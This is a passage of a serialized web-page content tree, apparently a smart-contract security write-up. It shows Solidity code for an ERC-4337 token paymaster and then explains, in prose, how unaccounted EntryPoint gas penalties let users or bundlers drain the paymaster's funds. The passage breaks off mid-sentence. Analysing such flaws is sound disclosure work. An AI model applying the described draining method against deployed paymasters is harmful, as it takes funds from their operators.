userOp.",{"type":26,"tag":475,"props":102699,"children":102700},{"style":493},[102701],{"type":32,"value":102702},"unpackMaxFeePerGas",{"type":26,"tag":475,"props":102704,"children":102705},{"style":499},[102706],{"type":32,"value":3376},{"type":26,"tag":475,"props":102708,"children":102709},{"class":477,"line":761},[102710,102714,102719,102723],{"type":26,"tag":475,"props":102711,"children":102712},{"style":505},[102713],{"type":32,"value":102560},{"type":26,"tag":475,"props":102715,"children":102716},{"style":499},[102717],{"type":32,"value":102718}," refundPostopCost ",{"type":26,"tag":475,"props":102720,"children":102721},{"style":714},[102722],{"type":32,"value":786},{"type":26,"tag":475,"props":102724,"children":102725},{"style":499},[102726],{"type":32,"value":102727}," tokenPaymasterConfig.refundPostopCost;\n",{"type":26,"tag":475,"props":102729,"children":102730},{"class":477,"line":770},[102731,102735,102740,102744,102748,102753,102757,102762],{"type":26,"tag":475,"props":102732,"children":102733},{"style":586},[102734],{"type":32,"value":102633},{"type":26,"tag":475,"props":102736,"children":102737},{"style":499},[102738],{"type":32,"value":102739},"(refundPostopCost ",{"type":26,"tag":475,"props":102741,"children":102742},{"style":714},[102743],{"type":32,"value":5519},{"type":26,"tag":475,"props":102745,"children":102746},{"style":499},[102747],{"type":32,"value":102697},{"type":26,"tag":475,"props":102749,"children":102750},{"style":493},[102751],{"type":32,"value":102752},"unpackPostOpGasLimit",{"type":26,"tag":475,"props":102754,"children":102755},{"style":499},[102756],{"type":32,"value":18083},{"type":26,"tag":475,"props":102758,"children":102759},{"style":629},[102760],{"type":32,"value":102761},"\"TPM: postOpGasLimit too low\"",{"type":26,"tag":475,"props":102763,"children":102764},{"style":499},[102765],{"type":32,"value":3533},{"type":26,"tag":475,"props":102767,"children":102768},{"class":477,"line":794},[102769,102773,102778,102782,102787,102791,102796,102800],{"type":26,"tag":475,"props":102770,"children":102771},{"style":505},[102772],{"type":32,"value":102560},{"type":26,"tag":475,"props":102774,"children":102775},{"style":499},[102776],{"type":32,"value":102777}," preChargeNative ",{"type":26,"tag":475,"props":102779,"children":102780},{"style":714},[102781],{"type":32,"value":786},{"type":26,"tag":475,"props":102783,"children":102784},{"style":499},[102785],{"type":32,"value":102786}," requiredPreFund ",{"type":26,"tag":475,"props":102788,"children":102789},{"style":714},[102790],{"type":32,"value":1106},{"type":26,"tag":475,"props":102792,"children":102793},{"style":499},[102794],{"type":32,"value":102795}," (refundPostopCost ",{"type":26,"tag":475,"props":102797,"children":102798},{"style":714},[102799],{"type":32,"value":4282},{"type":26,"tag":475,"props":102801,"children":102802},{"style":499},[102803],{"type":32,"value":102804}," maxFeePerGas);\n",{"type":26,"tag":475,"props":102806,"children":102807},{"class":477,"line":831},[102808,102813,102817],{"type":26,"tag":475,"props":102809,"children":102810},{"style":552},[102811],{"type":32,"value":102812}," // ",{"type":26,"tag":475,"props":102814,"children":102815},{"style":482},[102816],{"type":32,"value":66452},{"type":26,"tag":475,"props":102818,"children":102819},{"style":552},[102820],{"type":32,"value":102821},": price is in native-asset-per-token increasing it means dividing it by markup\n",{"type":26,"tag":475,"props":102823,"children":102824},{"class":477,"line":845},[102825,102829,102834,102838,102843,102847,102852,102856],{"type":26,"tag":475,"props":102826,"children":102827},{"style":505},[102828],{"type":32,"value":102560},{"type":26,"tag":475,"props":102830,"children":102831},{"style":499},[102832],{"type":32,"value":102833}," cachedPriceWithMarkup ",{"type":26,"tag":475,"props":102835,"children":102836},{"style":714},[102837],{"type":32,"value":786},{"type":26,"tag":475,"props":102839,"children":102840},{"style":499},[102841],{"type":32,"value":102842}," cachedPrice ",{"type":26,"tag":475,"props":102844,"children":102845},{"style":714},[102846],{"type":32,"value":4282},{"type":26,"tag":475,"props":102848,"children":102849},{"style":499},[102850],{"type":32,"value":102851}," DENOM ",{"type":26,"tag":475,"props":102853,"children":102854},{"style":714},[102855],{"type":32,"value":4292},{"type":26,"tag":475,"props":102857,"children":102858},{"style":499},[102859],{"type":32,"value":102860}," priceMarkup;\n",{"type":26,"tag":475,"props":102862,"children":102863},{"class":477,"line":854},[102864,102868,102873,102877,102881],{"type":26,"tag":475,"props":102865,"children":102866},{"style":586},[102867],{"type":32,"value":58493},{"type":26,"tag":475,"props":102869,"children":102870},{"style":499},[102871],{"type":32,"value":102872}," (dataLength ",{"type":26,"tag":475,"props":102874,"children":102875},{"style":714},[102876],{"type":32,"value":8287},{"type":26,"tag":475,"props":102878,"children":102879},{"style":903},[102880],{"type":32,"value":102663},{"type":26,"tag":475,"props":102882,"children":102883},{"style":499},[102884],{"type":32,"value":676},{"type":26,"tag":475,"props":102886,"children":102887},{"class":477,"line":862},[102888,102893,102898],{"type":26,"tag":475,"props":102889,"children":102890},{"style":505},[102891],{"type":32,"value":102892}," uint256",{"type":26,"tag":475,"props":102894,"children":102895},{"style":499},[102896],{"type":32,"value":102897}," clientSuppliedPrice ",{"type":26,"tag":475,"props":102899,"children":102900},{"style":714},[102901],{"type":32,"value":14400},{"type":26,"tag":475,"props":102903,"children":102904},{"class":477,"line":885},[102905,102910,102914,102918,102923,102927,102932,102936,102940],{"type":26,"tag":475,"props":102906,"children":102907},{"style":505},[102908],{"type":32,"value":102909}," uint256",{"type":26,"tag":475,"props":102911,"children":102912},{"style":499},[102913],{"type":32,"value":626},{"type":26,"tag":475,"props":102915,"children":102916},{"style":505},[102917],{"type":32,"value":102458},{"type":26,"tag":475,"props":102919,"children":102920},{"style":499},[102921],{"type":32,"value":102922},"(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET",{"type":26,"tag":475,"props":102924,"children":102925},{"style":714},[102926],{"type":32,"value":179},{"type":26,"tag":475,"props":102928,"children":102929},{"style":499},[102930],{"type":32,"value":102931},"PAYMASTER_DATA_OFFSET ",{"type":26,"tag":475,"props":102933,"children":102934},{"style":714},[102935],{"type":32,"value":1106},{"type":26,"tag":475,"props":102937,"children":102938},{"style":903},[102939],{"type":32,"value":102663},{"type":26,"tag":475,"props":102941,"children":102942},{"style":499},[102943],{"type":32,"value":102944},"]));\n",{"type":26,"tag":475,"props":102946,"children":102947},{"class":477,"line":913},[102948,102953,102958,102962],{"type":26,"tag":475,"props":102949,"children":102950},{"style":586},[102951],{"type":32,"value":102952}," if",{"type":26,"tag":475,"props":102954,"children":102955},{"style":499},[102956],{"type":32,"value":102957}," (clientSuppliedPrice ",{"type":26,"tag":475,"props":102959,"children":102960},{"style":714},[102961],{"type":32,"value":5519},{"type":26,"tag":475,"props":102963,"children":102964},{"style":499},[102965],{"type":32,"value":102966}," cachedPriceWithMarkup) {\n",{"type":26,"tag":475,"props":102968,"children":102969},{"class":477,"line":926},[102970,102975,102979],{"type":26,"tag":475,"props":102971,"children":102972},{"style":552},[102973],{"type":32,"value":102974}," // ",{"type":26,"tag":475,"props":102976,"children":102977},{"style":482},[102978],{"type":32,"value":66452},{"type":26,"tag":475,"props":102980,"children":102981},{"style":552},[102982],{"type":32,"value":102983},": smaller number means 'more native asset per token'\n",{"type":26,"tag":475,"props":102985,"children":102986},{"class":477,"line":948},[102987,102992,102996],{"type":26,"tag":475,"props":102988,"children":102989},{"style":499},[102990],{"type":32,"value":102991}," cachedPriceWithMarkup ",{"type":26,"tag":475,"props":102993,"children":102994},{"style":714},[102995],{"type":32,"value":786},{"type":26,"tag":475,"props":102997,"children":102998},{"style":499},[102999],{"type":32,"value":103000}," clientSuppliedPrice;\n",{"type":26,"tag":475,"props":103002,"children":103003},{"class":477,"line":966},[103004],{"type":26,"tag":475,"props":103005,"children":103006},{"style":499},[103007],{"type":32,"value":1178},{"type":26,"tag":475,"props":103009,"children":103010},{"class":477,"line":979},[103011],{"type":26,"tag":475,"props":103012,"children":103013},{"style":499},[103014],{"type":32,"value":741},{"type":26,"tag":475,"props":103016,"children":103017},{"class":477,"line":1006},[103018,103022,103027,103031,103036],{"type":26,"tag":475,"props":103019,"children":103020},{"style":505},[103021],{"type":32,"value":102560},{"type":26,"tag":475,"props":103023,"children":103024},{"style":499},[103025],{"type":32,"value":103026}," tokenAmount ",{"type":26,"tag":475,"props":103028,"children":103029},{"style":714},[103030],{"type":32,"value":786},{"type":26,"tag":475,"props":103032,"children":103033},{"style":493},[103034],{"type":32,"value":103035}," weiToToken",{"type":26,"tag":475,"props":103037,"children":103038},{"style":499},[103039],{"type":32,"value":103040},"(preChargeNative, cachedPriceWithMarkup);\n",{"type":26,"tag":475,"props":103042,"children":103043},{"class":477,"line":1046},[103044,103049,103053],{"type":26,"tag":475,"props":103045,"children":103046},{"style":499},[103047],{"type":32,"value":103048}," tokenAmount ",{"type":26,"tag":475,"props":103050,"children":103051},{"style":714},[103052],{"type":32,"value":68131},{"type":26,"tag":475,"props":103054,"children":103055},{"style":499},[103056],{"type":32,"value":103057}," baseFee;\n",{"type":26,"tag":475,"props":103059,"children":103060},{"class":477,"line":1068},[103061,103066,103071,103076,103080,103084,103088],{"type":26,"tag":475,"props":103062,"children":103063},{"style":499},[103064],{"type":32,"value":103065}," SafeERC20.",{"type":26,"tag":475,"props":103067,"children":103068},{"style":493},[103069],{"type":32,"value":103070},"safeTransferFrom",{"type":26,"tag":475,"props":103072,"children":103073},{"style":499},[103074],{"type":32,"value":103075},"(token, userOp.sender, ",{"type":26,"tag":475,"props":103077,"children":103078},{"style":505},[103079],{"type":32,"value":32339},{"type":26,"tag":475,"props":103081,"children":103082},{"style":499},[103083],{"type":32,"value":626},{"type":26,"tag":475,"props":103085,"children":103086},{"style":482},[103087],{"type":32,"value":17400},{"type":26,"tag":475,"props":103089,"children":103090},{"style":499},[103091],{"type":32,"value":103092},"), tokenAmount);\n",{"type":26,"tag":475,"props":103094,"children":103095},{"class":477,"line":1077},[103096,103101,103105,103110,103114,103119],{"type":26,"tag":475,"props":103097,"children":103098},{"style":499},[103099],{"type":32,"value":103100}," context ",{"type":26,"tag":475,"props":103102,"children":103103},{"style":714},[103104],{"type":32,"value":786},{"type":26,"tag":475,"props":103106,"children":103107},{"style":482},[103108],{"type":32,"value":103109}," abi",{"type":26,"tag":475,"props":103111,"children":103112},{"style":499},[103113],{"type":32,"value":353},{"type":26,"tag":475,"props":103115,"children":103116},{"style":493},[103117],{"type":32,"value":103118},"encode",{"type":26,"tag":475,"props":103120,"children":103121},{"style":499},[103122],{"type":32,"value":103123},"(tokenAmount, userOp.sender);\n",{"type":26,"tag":475,"props":103125,"children":103126},{"class":477,"line":1090},[103127,103132],{"type":26,"tag":475,"props":103128,"children":103129},{"style":499},[103130],{"type":32,"value":103131}," validationResult ",{"type":26,"tag":475,"props":103133,"children":103134},{"style":714},[103135],{"type":32,"value":14400},{"type":26,"tag":475,"props":103137,"children":103138},{"class":477,"line":1119},[103139,103144,103148,103152,103156,103161,103166,103170,103175,103179],{"type":26,"tag":475,"props":103140,"children":103141},{"style":493},[103142],{"type":32,"value":103143}," _packValidationData",{"type":26,"tag":475,"props":103145,"children":103146},{"style":499},[103147],{"type":32,"value":626},{"type":26,"tag":475,"props":103149,"children":103150},{"style":482},[103151],{"type":32,"value":7886},{"type":26,"tag":475,"props":103153,"children":103154},{"style":499},[103155],{"type":32,"value":637},{"type":26,"tag":475,"props":103157,"children":103158},{"style":505},[103159],{"type":32,"value":103160},"uint48",{"type":26,"tag":475,"props":103162,"children":103163},{"style":499},[103164],{"type":32,"value":103165},"(cachedPriceTimestamp ",{"type":26,"tag":475,"props":103167,"children":103168},{"style":714},[103169],{"type":32,"value":1106},{"type":26,"tag":475,"props":103171,"children":103172},{"style":499},[103173],{"type":32,"value":103174}," tokenPaymasterConfig.priceMaxAge), ",{"type":26,"tag":475,"props":103176,"children":103177},{"style":903},[103178],{"type":32,"value":3732},{"type":26,"tag":475,"props":103180,"children":103181},{"style":499},[103182],{"type":32,"value":3533},{"type":26,"tag":475,"props":103184,"children":103185},{"class":477,"line":1132},[103186],{"type":26,"tag":475,"props":103187,"children":103188},{"style":499},[103189],{"type":32,"value":750},{"type":26,"tag":475,"props":103191,"children":103192},{"class":477,"line":1146},[103193],{"type":26,"tag":475,"props":103194,"children":103195},{"style":499},[103196],{"type":32,"value":851},{"type":26,"tag":475,"props":103198,"children":103199},{"class":477,"line":1155},[103200],{"type":26,"tag":475,"props":103201,"children":103202},{"style":499},[103203],{"type":32,"value":2219},{"type":26,"tag":475,"props":103205,"children":103206},{"class":477,"line":1163},[103207,103211,103216,103220,103225,103229,103233,103237,103241,103245,103249,103254,103258,103262,103267],{"type":26,"tag":475,"props":103208,"children":103209},{"style":482},[103210],{"type":32,"value":89451},{"type":26,"tag":475,"props":103212,"children":103213},{"style":493},[103214],{"type":32,"value":103215}," _postOp",{"type":26,"tag":475,"props":103217,"children":103218},{"style":499},[103219],{"type":32,"value":626},{"type":26,"tag":475,"props":103221,"children":103222},{"style":482},[103223],{"type":32,"value":103224},"PostOpMode",{"type":26,"tag":475,"props":103226,"children":103227},{"style":499},[103228],{"type":32,"value":637},{"type":26,"tag":475,"props":103230,"children":103231},{"style":505},[103232],{"type":32,"value":83450},{"type":26,"tag":475,"props":103234,"children":103235},{"style":482},[103236],{"type":32,"value":102444},{"type":26,"tag":475,"props":103238,"children":103239},{"style":2375},[103240],{"type":32,"value":75969},{"type":26,"tag":475,"props":103242,"children":103243},{"style":499},[103244],{"type":32,"value":637},{"type":26,"tag":475,"props":103246,"children":103247},{"style":505},[103248],{"type":32,"value":45861},{"type":26,"tag":475,"props":103250,"children":103251},{"style":2375},[103252],{"type":32,"value":103253}," actualGasCost",{"type":26,"tag":475,"props":103255,"children":103256},{"style":499},[103257],{"type":32,"value":637},{"type":26,"tag":475,"props":103259,"children":103260},{"style":505},[103261],{"type":32,"value":45861},{"type":26,"tag":475,"props":103263,"children":103264},{"style":2375},[103265],{"type":32,"value":103266}," actualUserOpFeePerGas",{"type":26,"tag":475,"props":103268,"children":103269},{"style":499},[103270],{"type":32,"value":647},{"type":26,"tag":475,"props":103272,"children":103273},{"class":477,"line":1172},[103274],{"type":26,"tag":475,"props":103275,"children":103276},{"style":482},[103277],{"type":32,"value":102483},{"type":26,"tag":475,"props":103279,"children":103280},{"class":477,"line":1181},[103281],{"type":26,"tag":475,"props":103282,"children":103283},{"style":482},[103284],{"type":32,"value":102491},{"type":26,"tag":475,"props":103286,"children":103287},{"class":477,"line":1189},[103288],{"type":26,"tag":475,"props":103289,"children":103290},{"style":499},[103291],{"type":32,"value":28889},{"type":26,"tag":475,"props":103293,"children":103294},{"class":477,"line":1221},[103295,103299],{"type":26,"tag":475,"props":103296,"children":103297},{"style":586},[103298],{"type":32,"value":102548},{"type":26,"tag":475,"props":103300,"children":103301},{"style":499},[103302],{"type":32,"value":579},{"type":26,"tag":475,"props":103304,"children":103305},{"class":477,"line":1848},[103306,103310,103314,103318],{"type":26,"tag":475,"props":103307,"children":103308},{"style":505},[103309],{"type":32,"value":102560},{"type":26,"tag":475,"props":103311,"children":103312},{"style":499},[103313],{"type":32,"value":102565},{"type":26,"tag":475,"props":103315,"children":103316},{"style":714},[103317],{"type":32,"value":786},{"type":26,"tag":475,"props":103319,"children":103320},{"style":499},[103321],{"type":32,"value":102574},{"type":26,"tag":475,"props":103323,"children":103324},{"class":477,"line":1857},[103325,103329,103333,103337],{"type":26,"tag":475,"props":103326,"children":103327},{"style":505},[103328],{"type":32,"value":102560},{"type":26,"tag":475,"props":103330,"children":103331},{"style":499},[103332],{"type":32,"value":102586},{"type":26,"tag":475,"props":103334,"children":103335},{"style":714},[103336],{"type":32,"value":786},{"type":26,"tag":475,"props":103338,"children":103339},{"style":499},[103340],{"type":32,"value":102595},{"type":26,"tag":475,"props":103342,"children":103343},{"class":477,"line":1866},[103344,103349,103353,103358,103362,103367,103371,103375,103379,103384,103389,103393,103397,103401],{"type":26,"tag":475,"props":103345,"children":103346},{"style":499},[103347],{"type":32,"value":103348}," (",{"type":26,"tag":475,"props":103350,"children":103351},{"style":505},[103352],{"type":32,"value":45861},{"type":26,"tag":475,"props":103354,"children":103355},{"style":499},[103356],{"type":32,"value":103357}," preCharge, ",{"type":26,"tag":475,"props":103359,"children":103360},{"style":505},[103361],{"type":32,"value":32339},{"type":26,"tag":475,"props":103363,"children":103364},{"style":499},[103365],{"type":32,"value":103366}," userOpSender) ",{"type":26,"tag":475,"props":103368,"children":103369},{"style":714},[103370],{"type":32,"value":786},{"type":26,"tag":475,"props":103372,"children":103373},{"style":482},[103374],{"type":32,"value":103109},{"type":26,"tag":475,"props":103376,"children":103377},{"style":499},[103378],{"type":32,"value":353},{"type":26,"tag":475,"props":103380,"children":103381},{"style":493},[103382],{"type":32,"value":103383},"decode",{"type":26,"tag":475,"props":103385,"children":103386},{"style":499},[103387],{"type":32,"value":103388},"(context, (",{"type":26,"tag":475,"props":103390,"children":103391},{"style":505},[103392],{"type":32,"value":45861},{"type":26,"tag":475,"props":103394,"children":103395},{"style":499},[103396],{"type":32,"value":637},{"type":26,"tag":475,"props":103398,"children":103399},{"style":505},[103400],{"type":32,"value":32339},{"type":26,"tag":475,"props":103402,"children":103403},{"style":499},[103404],{"type":32,"value":6936},{"type":26,"tag":475,"props":103406,"children":103407},{"class":477,"line":1875},[103408,103413,103418,103423],{"type":26,"tag":475,"props":103409,"children":103410},{"style":499},[103411],{"type":32,"value":103412}," preCharge ",{"type":26,"tag":475,"props":103414,"children":103415},{"style":714},[103416],{"type":32,"value":103417},"-=",{"type":26,"tag":475,"props":103419,"children":103420},{"style":499},[103421],{"type":32,"value":103422}," baseFee; ",{"type":26,"tag":475,"props":103424,"children":103425},{"style":552},[103426],{"type":32,"value":103427},"// don't refund the base fee\n",{"type":26,"tag":475,"props":103429,"children":103430},{"class":477,"line":1883},[103431,103435,103440,103444,103449,103453,103457],{"type":26,"tag":475,"props":103432,"children":103433},{"style":505},[103434],{"type":32,"value":102560},{"type":26,"tag":475,"props":103436,"children":103437},{"style":499},[103438],{"type":32,"value":103439}," _cachedPrice ",{"type":26,"tag":475,"props":103441,"children":103442},{"style":714},[103443],{"type":32,"value":786},{"type":26,"tag":475,"props":103445,"children":103446},{"style":493},[103447],{"type":32,"value":103448}," updateCachedPrice",{"type":26,"tag":475,"props":103450,"children":103451},{"style":499},[103452],{"type":32,"value":626},{"type":26,"tag":475,"props":103454,"children":103455},{"style":482},[103456],{"type":32,"value":7886},{"type":26,"tag":475,"props":103458,"children":103459},{"style":499},[103460],{"type":32,"value":3533},{"type":26,"tag":475,"props":103462,"children":103463},{"class":477,"line":1892},[103464,103468,103472],{"type":26,"tag":475,"props":103465,"children":103466},{"style":552},[103467],{"type":32,"value":102812},{"type":26,"tag":475,"props":103469,"children":103470},{"style":482},[103471],{"type":32,"value":66452},{"type":26,"tag":475,"props":103473,"children":103474},{"style":552},[103475],{"type":32,"value":102821},{"type":26,"tag":475,"props":103477,"children":103478},{"class":477,"line":1901},[103479,103483,103487,103491,103495,103499,103503,103507],{"type":26,"tag":475,"props":103480,"children":103481},{"style":505},[103482],{"type":32,"value":102560},{"type":26,"tag":475,"props":103484,"children":103485},{"style":499},[103486],{"type":32,"value":102833},{"type":26,"tag":475,"props":103488,"children":103489},{"style":714},[103490],{"type":32,"value":786},{"type":26,"tag":475,"props":103492,"children":103493},{"style":499},[103494],{"type":32,"value":103439},{"type":26,"tag":475,"props":103496,"children":103497},{"style":714},[103498],{"type":32,"value":4282},{"type":26,"tag":475,"props":103500,"children":103501},{"style":499},[103502],{"type":32,"value":102851},{"type":26,"tag":475,"props":103504,"children":103505},{"style":714},[103506],{"type":32,"value":4292},{"type":26,"tag":475,"props":103508,"children":103509},{"style":499},[103510],{"type":32,"value":102860},{"type":26,"tag":475,"props":103512,"children":103513},{"class":477,"line":1910},[103514],{"type":26,"tag":475,"props":103515,"children":103516},{"style":552},[103517],{"type":32,"value":103518}," // Refund tokens based on actual gas cost\n",{"type":26,"tag":475,"props":103520,"children":103521},{"class":477,"line":1919},[103522,103526,103531,103535,103540,103544,103549,103553],{"type":26,"tag":475,"props":103523,"children":103524},{"style":505},[103525],{"type":32,"value":102560},{"type":26,"tag":475,"props":103527,"children":103528},{"style":499},[103529],{"type":32,"value":103530}," actualChargeNative ",{"type":26,"tag":475,"props":103532,"children":103533},{"style":714},[103534],{"type":32,"value":786},{"type":26,"tag":475,"props":103536,"children":103537},{"style":499},[103538],{"type":32,"value":103539}," actualGasCost ",{"type":26,"tag":475,"props":103541,"children":103542},{"style":714},[103543],{"type":32,"value":1106},{"type":26,"tag":475,"props":103545,"children":103546},{"style":499},[103547],{"type":32,"value":103548}," tokenPaymasterConfig.refundPostopCost ",{"type":26,"tag":475,"props":103550,"children":103551},{"style":714},[103552],{"type":32,"value":4282},{"type":26,"tag":475,"props":103554,"children":103555},{"style":499},[103556],{"type":32,"value":103557}," actualUserOpFeePerGas;\n",{"type":26,"tag":475,"props":103559,"children":103560},{"class":477,"line":1927},[103561,103565,103570,103574,103578],{"type":26,"tag":475,"props":103562,"children":103563},{"style":505},[103564],{"type":32,"value":102560},{"type":26,"tag":475,"props":103566,"children":103567},{"style":499},[103568],{"type":32,"value":103569}," actualTokenNeeded ",{"type":26,"tag":475,"props":103571,"children":103572},{"style":714},[103573],{"type":32,"value":786},{"type":26,"tag":475,"props":103575,"children":103576},{"style":493},[103577],{"type":32,"value":103035},{"type":26,"tag":475,"props":103579,"children":103580},{"style":499},[103581],{"type":32,"value":103582},"(actualChargeNative, cachedPriceWithMarkup);\n",{"type":26,"tag":475,"props":103584,"children":103585},{"class":477,"line":1936},[103586,103590,103595,103599],{"type":26,"tag":475,"props":103587,"children":103588},{"style":586},[103589],{"type":32,"value":58493},{"type":26,"tag":475,"props":103591,"children":103592},{"style":499},[103593],{"type":32,"value":103594}," (preCharge ",{"type":26,"tag":475,"props":103596,"children":103597},{"style":714},[103598],{"type":32,"value":10170},{"type":26,"tag":475,"props":103600,"children":103601},{"style":499},[103602],{"type":32,"value":103603}," actualTokenNeeded) {\n",{"type":26,"tag":475,"props":103605,"children":103606},{"class":477,"line":1945},[103607],{"type":26,"tag":475,"props":103608,"children":103609},{"style":552},[103610],{"type":32,"value":103611}," // If initially provided token amount is greater than the actual amount needed, refund the difference\n",{"type":26,"tag":475,"props":103613,"children":103614},{"class":477,"line":1967},[103615,103620,103625,103630,103634],{"type":26,"tag":475,"props":103616,"children":103617},{"style":499},[103618],{"type":32,"value":103619}," SafeERC20.",{"type":26,"tag":475,"props":103621,"children":103622},{"style":493},[103623],{"type":32,"value":103624},"safeTransfer",{"type":26,"tag":475,"props":103626,"children":103627},{"style":499},[103628],{"type":32,"value":103629},"(token, userOpSender, preCharge ",{"type":26,"tag":475,"props":103631,"children":103632},{"style":714},[103633],{"type":32,"value":4039},{"type":26,"tag":475,"props":103635,"children":103636},{"style":499},[103637],{"type":32,"value":103638}," actualTokenNeeded);\n",{"type":26,"tag":475,"props":103640,"children":103641},{"class":477,"line":1976},[103642,103646,103650,103654,103658,103662],{"type":26,"tag":475,"props":103643,"children":103644},{"style":499},[103645],{"type":32,"value":656},{"type":26,"tag":475,"props":103647,"children":103648},{"style":586},[103649],{"type":32,"value":3023},{"type":26,"tag":475,"props":103651,"children":103652},{"style":586},[103653],{"type":32,"value":15493},{"type":26,"tag":475,"props":103655,"children":103656},{"style":499},[103657],{"type":32,"value":103594},{"type":26,"tag":475,"props":103659,"children":103660},{"style":714},[103661],{"type":32,"value":5519},{"type":26,"tag":475,"props":103663,"children":103664},{"style":499},[103665],{"type":32,"value":103603},{"type":26,"tag":475,"props":103667,"children":103668},{"class":477,"line":1984},[103669],{"type":26,"tag":475,"props":103670,"children":103671},{"style":552},[103672],{"type":32,"value":103673}," // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n",{"type":26,"tag":475,"props":103675,"children":103676},{"class":477,"line":1992},[103677],{"type":26,"tag":475,"props":103678,"children":103679},{"style":552},[103680],{"type":32,"value":103681}," // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n",{"type":26,"tag":475,"props":103683,"children":103684},{"class":477,"line":2004},[103685,103689,103693,103698,103702,103706,103710,103715,103719],{"type":26,"tag":475,"props":103686,"children":103687},{"style":499},[103688],{"type":32,"value":103619},{"type":26,"tag":475,"props":103690,"children":103691},{"style":493},[103692],{"type":32,"value":103070},{"type":26,"tag":475,"props":103694,"children":103695},{"style":499},[103696],{"type":32,"value":103697},"(token, userOpSender, ",{"type":26,"tag":475,"props":103699,"children":103700},{"style":505},[103701],{"type":32,"value":32339},{"type":26,"tag":475,"props":103703,"children":103704},{"style":499},[103705],{"type":32,"value":626},{"type":26,"tag":475,"props":103707,"children":103708},{"style":482},[103709],{"type":32,"value":17400},{"type":26,"tag":475,"props":103711,"children":103712},{"style":499},[103713],{"type":32,"value":103714},"), actualTokenNeeded ",{"type":26,"tag":475,"props":103716,"children":103717},{"style":714},[103718],{"type":32,"value":4039},{"type":26,"tag":475,"props":103720,"children":103721},{"style":499},[103722],{"type":32,"value":103723}," preCharge);\n",{"type":26,"tag":475,"props":103725,"children":103726},{"class":477,"line":2029},[103727],{"type":26,"tag":475,"props":103728,"children":103729},{"style":499},[103730],{"type":32,"value":741},{"type":26,"tag":475,"props":103732,"children":103733},{"class":477,"line":2042},[103734],{"type":26,"tag":475,"props":103735,"children":103736},{"emptyLinePlaceholder":18},[103737],{"type":32,"value":545},{"type":26,"tag":475,"props":103739,"children":103740},{"class":477,"line":2060},[103741,103745,103750,103754,103758],{"type":26,"tag":475,"props":103742,"children":103743},{"style":586},[103744],{"type":32,"value":58493},{"type":26,"tag":475,"props":103746,"children":103747},{"style":499},[103748],{"type":32,"value":103749}," (baseFee ",{"type":26,"tag":475,"props":103751,"children":103752},{"style":714},[103753],{"type":32,"value":10170},{"type":26,"tag":475,"props":103755,"children":103756},{"style":903},[103757],{"type":32,"value":2752},{"type":26,"tag":475,"props":103759,"children":103760},{"style":499},[103761],{"type":32,"value":676},{"type":26,"tag":475,"props":103763,"children":103764},{"class":477,"line":2068},[103765,103769,103773],{"type":26,"tag":475,"props":103766,"children":103767},{"style":499},[103768],{"type":32,"value":103619},{"type":26,"tag":475,"props":103770,"children":103771},{"style":493},[103772],{"type":32,"value":103624},{"type":26,"tag":475,"props":103774,"children":103775},{"style":499},[103776],{"type":32,"value":103777},"(token, tokenPaymasterConfig.rewardsPool, baseFee);\n",{"type":26,"tag":475,"props":103779,"children":103780},{"class":477,"line":2076},[103781],{"type":26,"tag":475,"props":103782,"children":103783},{"style":499},[103784],{"type":32,"value":741},{"type":26,"tag":475,"props":103786,"children":103787},{"class":477,"line":2084},[103788],{"type":26,"tag":475,"props":103789,"children":103790},{"emptyLinePlaceholder":18},[103791],{"type":32,"value":545},{"type":26,"tag":475,"props":103793,"children":103794},{"class":477,"line":2092},[103795,103800,103805],{"type":26,"tag":475,"props":103796,"children":103797},{"style":586},[103798],{"type":32,"value":103799}," emit",{"type":26,"tag":475,"props":103801,"children":103802},{"style":493},[103803],{"type":32,"value":103804}," UserOperationSponsored",{"type":26,"tag":475,"props":103806,"children":103807},{"style":499},[103808],{"type":32,"value":103809},"(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n",{"type":26,"tag":475,"props":103811,"children":103812},{"class":477,"line":2100},[103813,103818],{"type":26,"tag":475,"props":103814,"children":103815},{"style":493},[103816],{"type":32,"value":103817}," refillEntryPointDeposit",{"type":26,"tag":475,"props":103819,"children":103820},{"style":499},[103821],{"type":32,"value":103822},"(_cachedPrice);\n",{"type":26,"tag":475,"props":103824,"children":103825},{"class":477,"line":2128},[103826],{"type":26,"tag":475,"props":103827,"children":103828},{"style":499},[103829],{"type":32,"value":750},{"type":26,"tag":475,"props":103831,"children":103833},{"class":477,"line":103832},67,[103834],{"type":26,"tag":475,"props":103835,"children":103836},{"style":499},[103837],{"type":32,"value":851},{"type":26,"tag":475,"props":103839,"children":103841},{"class":477,"line":103840},68,[103842],{"type":26,"tag":475,"props":103843,"children":103844},{"style":499},[103845],{"type":32,"value":3607},{"type":26,"tag":35,"props":103847,"children":103848},{},[103849,103851,103857,103859,103864,103866,103872],{"type":32,"value":103850},"Looking at the code above, during ",{"type":26,"tag":53,"props":103852,"children":103854},{"className":103853},[],[103855],{"type":32,"value":103856},"validatePaymasterUserOp",{"type":32,"value":103858},", the paymaster attempts to charge a maximum prefund amount first. This prefund is calculated by taking the gas limit specified in the ",{"type":26,"tag":53,"props":103860,"children":103862},{"className":103861},[],[103863],{"type":32,"value":101915},{"type":32,"value":103865}," and applying a markup price to convert the native ETH cost into the equivalent ERC20-token value. Later in ",{"type":26,"tag":53,"props":103867,"children":103869},{"className":103868},[],[103870],{"type":32,"value":103871},"postOp",{"type":32,"value":103873},", the paymaster calculates the actual charge and refunds any excess from the prefund.",{"type":26,"tag":35,"props":103875,"children":103876},{},[103877,103879,103884,103886,103893],{"type":32,"value":103878},"However, there is a critical oversight: ",{"type":26,"tag":105,"props":103880,"children":103881},{},[103882],{"type":32,"value":103883},"the code does not account for gas penalties",{"type":32,"value":103885},". The actual gas charged to the paymaster includes not just the gas used, but also any ",{"type":26,"tag":116,"props":103887,"children":103890},{"href":103888,"rel":103889},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L726-L730",[120],[103891],{"type":32,"value":103892},"penalties incurred",{"type":32,"value":103894}," from differences between the execution gas limit and actual execution gas.",{"type":26,"tag":35,"props":103896,"children":103897},{},[103898],{"type":32,"value":103899},"This vulnerability can be exploited by malicious users who set an artificially high gas limit to trigger the penalty. When penalties are applied, the paymaster will be charged significantly more than expected, potentially draining its funds since these additional costs were not factored into the calculation.",{"type":26,"tag":35,"props":103901,"children":103902},{},[103903,103905,103910],{"type":32,"value":103904},"In fact, the bundler will be the one who receives the penalty paid by the paymaster. This means a bundler could submit their own 